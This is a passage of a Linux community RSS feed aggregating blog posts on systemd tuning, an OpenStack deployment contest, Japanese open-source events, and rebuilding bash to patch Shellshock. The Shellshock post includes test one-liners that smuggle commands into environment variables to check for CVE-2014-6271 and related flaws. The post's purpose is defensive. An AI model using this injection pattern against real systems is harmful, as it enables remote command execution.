<p>This is probably because schroot spawns a login shell, and systemd considers it belonging to a different process group. So, I had to launch the command <em>systemctl set-property user.slice CPUShares=512</em>, so all processes belonging to the user.slice will receive the same share of the debomatic ones. I consider this a workaround, I&#8217;m open to suggestions how to properly solve this issue <img src="https://s0.wp.com/wp-content/mu-plugins/wpcom-smileys/twemoji/2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>I&#8217;ll try to explore more options in the coming days, so I can improve my knowledge of systemd a little bit more <img src="https://s0.wp.com/wp-content/mu-plugins/wpcom-smileys/twemoji/2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>]]></description>
      <source url="https://dktrkranz.wordpress.com/category/planet-ubuntu/feed/atom/">Luca Falavigna</source>
    </item>
    <item>
      <title>DebConf 15</title>
      <link>https://overbenny.wordpress.com/2015/08/16/debconf-15/</link>
      <guid isPermaLink="true">https://overbenny.wordpress.com/2015/08/16/debconf-15/</guid>
      <pubDate>Sun, 16 Aug 2015 11:31:42 GMT</pubDate>
      <description><![CDATA[<p>I am still alive and currently attending <a href="http://debconf15.debconf.org/">DebConf 15</a>. Feel free to grab me for a talk. I am just shy, not antisocial.</p>]]></description>
      <source url="https://overbenny.wordpress.com/category/planet-ubuntu/feed/atom">Benjamin Drung</source>
    </item>
    <item>
      <title>SUSE Ruling the Stack in Vancouver</title>
      <link>https://www.vuntz.net/journal/post/2015/05/26/SUSE-Ruling-the-Stack-in-Vancouver</link>
      <guid isPermaLink="true">https://www.vuntz.net/journal/post/2015/05/26/SUSE-Ruling-the-Stack-in-Vancouver</guid>
      <pubDate>Mon, 25 May 2015 22:58:00 GMT</pubDate>
      <description><![CDATA[<p><img src="https://www.vuntz.net/photoblog/20150525-rule-the-stack.png" alt="Rule the Stack" style="float:right; margin: 0 0 1em 1em;" /></p>


<p>Last week during the the <a href="https://www.openstack.org/summit/vancouver-2015/">OpenStack Summit in Vancouver</a>, Intel organized a <a href="https://01.org/openstack/openstacksummitvancouverbc2015/rule-stack-vancouver">Rule the Stack contest</a>. That's the third one, after <a href="https://communities.intel.com/community/itpeernetwork/datastack/blog/2014/05/11/prove-your-chops-rulethestack-at-openstack-summit">Atlanta</a> a year ago and <a href="https://communities.intel.com/community/itpeernetwork/datastack/blog/2014/11/02/another-chance-to-prove-your-chops-rulethestack-at-openstack-summit-paris">Paris</a> six months ago. In case you missed earlier episodes, SUSE won the two previous contests with <a href="https://github.com/dirkmueller">Dirk</a> being <a href="https://communities.intel.com/community/itpeernetwork/datastack/blog/2014/06/11/the-first-ruler-of-the-stack-from-openstack-summit">pretty</a> <a href="https://www.suse.com/communities/conversations/suse-rules-the-stack-by-a-mile/">fast</a> in Atlanta and <a href="http://blog.adamspiers.org/">Adam</a> <a href="http://blog.adamspiers.org/2014/11/05/ruler-of-the-stack/">completing the HA challenge</a> so we could <a href="https://www.suse.com/communities/conversations/suse-rules-stack/">keep the crown</a>. So of course, we had to try again!</p>


<p>For this contest, the rules came with a list of penalties and bonuses which made it easier for people to participate. And indeed, there were quite a number of participants with the schedule for booking slots being nearly full. While deploying Kilo was a goal, you could go with older releases getting a 10 minutes penalty per release (so +10 minutes for Juno, +20 minutes for Icehouse, and so on). In a similar way, the organizers wanted to see some upgrade and encouraged that with a bonus that could significantly impact the results (-40 minutes) — nobody tried that, though.</p>


<p>And guess what? SUSE kept the crown again. But we also went ahead with a new challenge: outperforming everyone else not just once, but twice, with two totally different methods.</p>


<p>For the super-fast approach, <a href="https://github.com/dirkmueller">Dirk</a> built again an appliance that has everything pre-installed and that configures the software on boot. This is actually not too difficult thanks to the amazing <a href="https://en.opensuse.org/Portal:KIWI">Kiwi tool</a> and all the knowledge we have accumulated through the years at SUSE about building appliances, and also the <a href="https://github.com/SUSE-Cloud/openstack-quickstart">small scripts</a> we use for the CI of our OpenStack packages. Still, it required some work to adapt the setup to the contest and also to make sure that our Kilo packages (that were brand new and without much testing) were fully working. The clock result was 9 minutes and 6 seconds, resulting in a negative time of minus 10 minutes and 54 seconds (yes, the text in the picture is wrong) after the bonuses. Pretty impressive.</p>


<p>But we also wanted to show that <a href="https://www.suse.com/products/suse-cloud/">our product</a> would fare well, so <a href="http://blog.adamspiers.org/">Adam</a> and I started looking at this. We knew it couldn't be faster than the way Dirk picked, and from the start, we targetted the second position. For this approach, there was not much to do since this was similar to what he did in Paris, and there was work to update our SUSE OpenStack Cloud Admin appliance recently. Our first attempt failed miserably due to a nasty bug (which was actually caused by some unicode character in the ID of the USB stick we were using to install the OS... we fixed that bug later in the night). The second attempt went smoother and was actually much faster than we had anticipated: SUSE OpenStack Cloud deployed everything in 23 minutes and 17 seconds, which resulted in a final time of 10 minutes and 17 seconds after bonuses/penalties. And this was with a 10 minutes penalty due to the use of Juno (as well as a couple of minutes lost debugging some setup issue that was just mispreparation on our side). A key contributor to this result is our use of <a href="http://crowbar.github.io/">Crowbar</a>, which we've kept improving over time, and that really makes it easy and fast to deploy OpenStack.</p>


<p><img src="https://www.vuntz.net/photoblog/20150525-suse-cloud-rules-the-stack.jpg" alt="Wall-clock time for SUSE OpenStack Cloud" style="display:block; margin:0 auto;" /></p>
<p style="text-align:center;">Wall-clock time for SUSE OpenStack Cloud</p>



<p>These two results wouldn't have been possible without the help of <a href="https://github.com/toabctl">Tom</a> and <a href="https://github.com/rhafer">Ralf</a>, but also without the whole SUSE OpenStack Cloud team that works on a daily basis on our product to improve it and to adapt it to the needs of our customers. We really have an awesome team (and btw, <a href="https://www.suse.com/company/careers/">we're hiring</a>)!</p>


<p>For reference, three other contestants succeeded in deploying OpenStack, with the fastest of them ending at 58 minutes after bonuses/penalties. And as I mentioned earlier, there were even more contestants (including some who are not vendors of an OpenStack distribution), which is really good to see. I hope we'll see even more in Tokyo!</p>


<p><img src="https://www.vuntz.net/photoblog/20150525-rule-the-stack-results.jpg" alt="Results of the Rule the Stack contest" style="display:block; margin:0 auto;" /></p>
<p style="text-align:center;">Results of the Rule the Stack contest</p>



<p>Also thanks to Intel for organizing this; I'm sure every contestant had fun and there was quite a good mood in the area reserved for the contest.</p>


<p><strong>Update:</strong> See also the <a href="https://01.org/openstack/openstacksummitvancouverbc2015/rule-stack-vancouver-results">summary of the contest</a> from the organizers.</p>]]></description>
      <source url="http://www.vuntz.net/journal/rss.php?lang=en">Vincent Untz</source>
    </item>
    <item>
      <title>Here’s how to patch Ubuntu 8.04 or anything where you have to build bash from source</title>
      <link>https://leftyfb.com/2014/09/25/heres-how-to-patch-ubuntu-8-04-or-anything-where-you-have-to-build-bash-from-source/</link>
      <guid isPermaLink="true">https://leftyfb.com/2014/09/25/heres-how-to-patch-ubuntu-8-04-or-anything-where-you-have-to-build-bash-from-source/</guid>
      <pubDate>Thu, 25 Sep 2014 17:03:01 GMT</pubDate>
      <description><![CDATA[<p>UPDATED: I have updated the post to include the post from <a href="http://leftyfb.com/2014/09/25/heres-how-to-patch-ubuntu-8-04-or-anything-where-you-have-to-build-bash-from-source/#comment-1614053262">gb3</a> as well as additional patches and some tests</p>
<p>Just a quick post to help those who might be running older/unsupported distributions of linux, mainly Ubuntu 8.04 who need to patch their version of bash due to the recent exploit here:</p>
<p>http://thehackernews.com/2014/09/bash-shell-vulnerability-shellshock.html</p>
<p>I found this post and can confirm it works:</p>
<p>https://news.ycombinator.com/item?id=8364385</p>
<p>Here are the steps(make a backup of /bin/bash just in case):</p>
<pre>#assume that your sources are in /src
cd /src
wget http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
#download all patches
for i in $(seq -f "%03g" 1 28); do wget http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-$i; done
tar zxvf bash-4.3.tar.gz
cd bash-4.3
#apply all patches
for i in $(seq -f "%03g" 1 28);do patch -p0 &lt; ../bash43-$i; done
#build and install
./configure --prefix=/ &amp;&amp; make &amp;&amp; make install
cd ../../
rm -r src</pre>
<p>To test for exploits CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, and CVE-2014-7187 I have found the following information at <a href="http://serverfault.com/a/631450">this link</a></p>
<p>To check for the CVE-2014-6271 vulnerability</p>
<pre class="lang-sh prettyprint prettyprinted"><code><span class="pln">env x</span><span class="pun">=</span><span class="str">'() { :;}; echo vulnerable'</span><span class="pln"> bash </span><span class="pun">-</span><span class="pln">c </span><span class="str">"echo this is a test"</span></code></pre>
<p>it should NOT echo back the word vulnerable.</p>
<hr />
<p>To check for the CVE-2014-7169 vulnerability<br />
(warning: if yours fails it will make or overwrite a file called <code>/tmp/echo</code> that you can delete after, and need to delete before testing again )</p>
<pre class="lang-sh prettyprint prettyprinted"><code><span class="pln">cd </span><span class="pun">/</span><span class="pln">tmp</span><span class="pun">;</span><span class="pln"> env X</span><span class="pun">=</span><span class="str">'() { (a)=&gt;\' bash -c "echo date"; cat echo</span></code></pre>
<p>it should say the word date then complain with a message like <code>cat: echo: No such file or directory</code>. If instead it tells you what the current datetime is then your system is vulnerable.</p>
<hr />
<p>To check for CVE-2014-7186</p>
<pre class="lang-sh prettyprint prettyprinted"><code><span class="pln">bash </span><span class="pun">-</span><span class="pln">c </span><span class="str">'true &lt;&lt;EOF &lt;&lt;EOF &lt;&lt;EOF &lt;&lt;EOF &lt;&lt;EOF &lt;&lt;EOF &lt;&lt;EOF &lt;&lt;EOF &lt;&lt;EOF &lt;&lt;EOF &lt;&lt;EOF &lt;&lt;EOF &lt;&lt;EOF &lt;&lt;EOF'</span> <span class="pun">||</span><span class="pln"> echo </span><span class="str">"CVE-2014-7186 vulnerable, redir_stack"</span></code></pre>
<p>it should NOT echo back the text <code>CVE-2014-7186 vulnerable, redir_stack</code>.</p>
<hr />
<p>To check for CVE-2014-7187</p>
<pre class="lang-sh prettyprint prettyprinted"><code><span class="pun">(</span><span class="kwd">for</span><span class="pln"> x </span><span class="kwd">in</span> <span class="pun">{</span><span class="lit">1.</span><span class="pun">.</span><span class="lit">200</span><span class="pun">}</span> <span class="pun">;</span> <span class="kwd">do</span><span class="pln"> echo </span><span class="str">"for x$x in ; do :"</span><span class="pun">;</span> <span class="kwd">done</span><span class="pun">;</span> <span class="kwd">for</span><span class="pln"> x </span><span class="kwd">in</span> <span class="pun">{</span><span class="lit">1.</span><span class="pun">.</span><span class="lit">200</span><span class="pun">}</span> <span class="pun">;</span> <span class="kwd">do</span><span class="pln"> echo </span><span class="kwd">done</span> <span class="pun">;</span> <span class="kwd">done</span><span class="pun">)</span> <span class="pun">|</span><span class="pln"> bash </span><span class="pun">||</span><span class="pln"> echo </span><span class="str">"CVE-2014-7187 vulnerable, word_lineno"</span></code></pre>
<p>it should NOT echo back the text <code>CVE-2014-7187 vulnerable, word_lineno</code>.</p>]]></description>
      <source url="http://leftyfb.com/?feed=rss2&amp;cat=4">Mike Rushton</source>
    </item>
    <item>
      <title>Open Source Conference 2014 Kansai@Kyoto</title>
      <link>https://mizuno-as.hatenadiary.org/entry/20140806/1407307913</link>
      <guid isPermaLink="true">https://mizuno-as.hatenadiary.org/entry/20140806/1407307913</guid>
      <pubDate>Wed, 06 Aug 2014 06:51:53 GMT</pubDate>
      <description><![CDATA[<p>On August 1-2, 2014, Open Source Conference 2014 Kansai@Kyoto was held in Kyoto.<br />
(<a href="http://www.ospn.jp/osc2014-kyoto/">http://www.ospn.jp/osc2014-kyoto/</a>)</p><p><span itemscope itemtype="http://schema.org/Photograph"><a href="http://f.hatena.ne.jp/mizuno-as/20140802145426" class="hatena-fotolife" itemprop="url"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/m/mizuno-as/20140802/20140802145426.jpg" alt="f:id:mizuno-as:20140802145426j:image" title="f:id:mizuno-as:20140802145426j:image" class="hatena-fotolife" itemprop="image"></a></span></p><p><span itemscope itemtype="http://schema.org/Photograph"><a href="http://f.hatena.ne.jp/mizuno-as/20140802145238" class="hatena-fotolife" itemprop="url"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/m/mizuno-as/20140802/20140802145238.jpg" alt="f:id:mizuno-as:20140802145238j:image" title="f:id:mizuno-as:20140802145238j:image" class="hatena-fotolife" itemprop="image"></a></span></p><p><span itemscope itemtype="http://schema.org/Photograph"><a href="http://f.hatena.ne.jp/mizuno-as/20140801134834" class="hatena-fotolife" itemprop="url"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/m/mizuno-as/20140801/20140801134834.jpg" alt="f:id:mizuno-as:20140801134834j:image" title="f:id:mizuno-as:20140801134834j:image" class="hatena-fotolife" itemprop="image"></a></span><br />
This event is the largest <a class="keyword" href="http://d.hatena.ne.jp/keyword/OSS">OSS</a> community gathers for in Japan. We participate as exhibitor and speaker every year. Yes, Of course as for this year.</p><p><span itemscope itemtype="http://schema.org/Photograph"><a href="http://f.hatena.ne.jp/mizuno-as/20140802140413" class="hatena-fotolife" itemprop="url"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/m/mizuno-as/20140802/20140802140413.jpg" alt="f:id:mizuno-as:20140802140413j:image" title="f:id:mizuno-as:20140802140413j:image" class="hatena-fotolife" itemprop="image"></a></span></p><p><span itemscope itemtype="http://schema.org/Photograph"><a href="http://f.hatena.ne.jp/mizuno-as/20140802140518" class="hatena-fotolife" itemprop="url"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/m/mizuno-as/20140802/20140802140518.jpg" alt="f:id:mizuno-as:20140802140518j:image" title="f:id:mizuno-as:20140802140518j:image" class="hatena-fotolife" itemprop="image"></a></span><br />
Hiroshi Chonan was in charge of the seminar. He talked about trusty and Utopic.</p><p>The highlight of the event is as follows:</p><p><span itemscope itemtype="http://schema.org/Photograph"><a href="http://f.hatena.ne.jp/mizuno-as/20140802145523" class="hatena-fotolife" itemprop="url"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/m/mizuno-as/20140802/20140802145523.jpg" alt="f:id:mizuno-as:20140802145523j:image" title="f:id:mizuno-as:20140802145523j:image" class="hatena-fotolife" itemprop="image"></a></span><br />
The <a class="keyword" href="http://d.hatena.ne.jp/keyword/NetBSD">NetBSD</a> team displayed Luna work station of OMRON. Luna(= opposed to Sun) is very old <a class="keyword" href="http://d.hatena.ne.jp/keyword/UNIX">UNIX</a> workstation in Japan. However, the newest <a class="keyword" href="http://d.hatena.ne.jp/keyword/Twitter">Twitter</a> client "Mikutter" works in this workstation on <a class="keyword" href="http://d.hatena.ne.jp/keyword/NetBSD">NetBSD</a>!</p><p><span itemscope itemtype="http://schema.org/Photograph"><a href="http://f.hatena.ne.jp/mizuno-as/20140802145554" class="hatena-fotolife" itemprop="url"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/m/mizuno-as/20140802/20140802145554.jpg" alt="f:id:mizuno-as:20140802145554j:image" title="f:id:mizuno-as:20140802145554j:image" class="hatena-fotolife" itemprop="image"></a></span><br />
Mikutter is simple, powerful and moeful <a class="keyword" href="http://d.hatena.ne.jp/keyword/twitter">twitter</a> client. This is very popular among young <a class="keyword" href="http://d.hatena.ne.jp/keyword/geek">geek</a>. (We call them "Teokure" in Japan)</p><p><span itemscope itemtype="http://schema.org/Photograph"><a href="http://f.hatena.ne.jp/mizuno-as/20140801172202" class="hatena-fotolife" itemprop="url"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/m/mizuno-as/20140801/20140801172202.jpg" alt="f:id:mizuno-as:20140801172202j:image" title="f:id:mizuno-as:20140801172202j:image" class="hatena-fotolife" itemprop="image"></a></span><br />
This is Takayoshi Okano. He is one of greatest FLOSS translators in Japan. And it is Open Street Map mapper too.</p><p>In this way, the Japanese FLOSS community is very active and happy!</p>]]></description>
      <source url="http://d.hatena.ne.jp/mizuno-as/rss">Hajime MIZUNO</source>
    </item>
    <item>
      <title>Ubuntu 14.04 LTS release party + Offline meeting 14.04 Tokyo</title>
      <link>http://fabric-janitor.blogspot.com/2014/06/a-few-weeks-ago-ubuntu-japanese-team.html</link>
      <guid isPermaLink="true">http://fabric-janitor.blogspot.com/2014/06/a-few-weeks-ago-ubuntu-japanese-team.html</guid>
      <pubDate>Thu, 05 Jun 2014 03:09:00 GMT</pubDate>
      <description><![CDATA[A
 few weeks ago, Ubuntu Japanese Team convene "Ubuntu 14.04 LTS release 
party + Offline meeting 14.04" with co-sponsored by GREE, Inc and around
 100 attendances. That event combine the hackathon and seminar sessions,
 we have it both ways.<br />
<br />
Virtual tour:<br />
1) A lot of sandwitchs (for 100 enlister) and party dishes. <br />
<img alt="" height="239" src="data:;base64,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